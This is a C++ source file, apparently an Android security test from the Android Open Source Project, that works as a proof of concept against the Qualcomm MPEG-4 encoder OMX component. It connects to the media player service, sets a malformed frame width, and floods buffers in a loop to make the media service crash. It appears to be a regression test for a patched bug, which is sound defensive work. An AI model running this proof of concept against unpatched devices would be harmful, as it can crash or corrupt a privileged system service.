/**
 * Copyright (C) 2019 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#undef _GNU_SOURCE
#define _GNU_SOURCE
#include "../includes/common.h"
#include "media/stagefright/omx/OMXUtils.h"
#include "OMX_Component.h"
#include <binder/IServiceManager.h>
#include <binder/ProcessState.h>
#include <media/IMediaPlayerService.h>
#include <media/IOMX.h>
#include <media/OMXBuffer.h>
#include <media/hardware/HardwareAPI.h>
#include <stdlib.h>
#include <time.h>

using namespace android;

struct DummyOMXObserver : public BnOMXObserver {
public:
  DummyOMXObserver() {}

  virtual void onMessages(const std::list<omx_message> &messages __unused) {}

protected:
  virtual ~DummyOMXObserver() {}
};
struct DeathRecipient : public IBinder::DeathRecipient {
  DeathRecipient() : mDied(false) {}
  bool mDied;
  virtual void binderDied(const wp<IBinder> &who __unused) { mDied = true; }
  bool died() const { return mDied; }
};
extern bool connectOMX(sp<IOMX> &omx) {
  sp<IBinder> binder;
  sp<IServiceManager> sm = defaultServiceManager();

  binder = sm->getService(String16("media.player"));
  sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>(binder);

  if (binder == NULL) {
    ALOGE("cannot get the media player service");
    return false;
  }
  omx = service->getOMX();
  if (omx == NULL) {
    ALOGE("cannot get the OMX interface");
    return false;
  }
  return true;
}
int poc() {
  sp<IOMX> service;
  if (connectOMX(service) == false) {
    return EXIT_FAILURE;
  }
  sp<IOMXNode> node = 0;
  OMXBuffer omxBuf;
  int fenceFd = -1;
  sp<DummyOMXObserver> observer = new DummyOMXObserver();
  const char *codecName = "OMX.qcom.video.encoder.mpeg4";

  status_t err = service->allocateNode(codecName, observer, &node);
  if (err != OK) {
    return EXIT_FAILURE;
  }
  sp<DeathRecipient> deathRecipient(new DeathRecipient());
  IInterface::asBinder(service)->linkToDeath(deathRecipient);
  err = node->sendCommand(OMX_CommandStateSet, 2);
  // get input port parameters
  OMX_PARAM_PORTDEFINITIONTYPE def;
  InitOMXParams(&def);
  def.nPortIndex = 0;
  OMX_INDEXTYPE omx_indextype = OMX_IndexParamPortDefinition;
  err = node->getParameter(omx_indextype, &def, sizeof(def));

  def.format.image.nFrameWidth = 137;
  err = node->setParameter(omx_indextype, &def, sizeof(def));

  int inMemSize = def.nBufferCountActual * def.nBufferSize;
  int inBufferCnt = def.nBufferCountActual;
  int inBufferSize = inMemSize / inBufferCnt;
  sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];

  // get output port parameters
  InitOMXParams(&def);
  def.nPortIndex = 1;
  err = node->getParameter(omx_indextype, &def, sizeof(def));

  // prepare output port buffers
  int outMemSize = def.nBufferCountActual * def.nBufferSize;
  int outBufferCnt = def.nBufferCountActual;
  int outBufferSize = outMemSize / outBufferCnt;
  sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];

  for (int i = 0; i < inBufferCnt; i++) {
    sp<IMemory> memory = dealerIn->allocate(inBufferSize);
    memset(memory->pointer(), 0xcd, inBufferSize);
    OMXBuffer omxBuf(memory);
    err = node->useBuffer(0, omxBuf, &inBufferId[i]);
  }

  for (int i = 0; i < outBufferCnt; i++) {
    sp<IMemory> memory = dealerOut->allocate(outBufferSize);
  }

  // change state from idle to executing
  err = node->sendCommand(OMX_CommandStateSet, 3);

  sleep(1);

  for (int i = 0; i < inBufferCnt; i++) {
    err = node->emptyBuffer(inBufferId[i], omxBuf, 0, 0, fenceFd);
  }

  for (int i = 0; i < outBufferCnt; i++) {
    err = node->fillBuffer(outBufferId[i], omxBuf, fenceFd);
    node->freeBuffer(1, outBufferId[i]);
  }
  sleep(1);
  node->freeNode();
  if (deathRecipient->died()) {
    exit(0); // binder died
  }
  return 0;
}

int main() {
  sp<ProcessState> proc(ProcessState::self());
  ProcessState::self()->startThreadPool();
  time_t test_started = start_timer();
  while (timer_active(test_started)) {
    poc();
    sleep(1);
  }
  return 0;
}
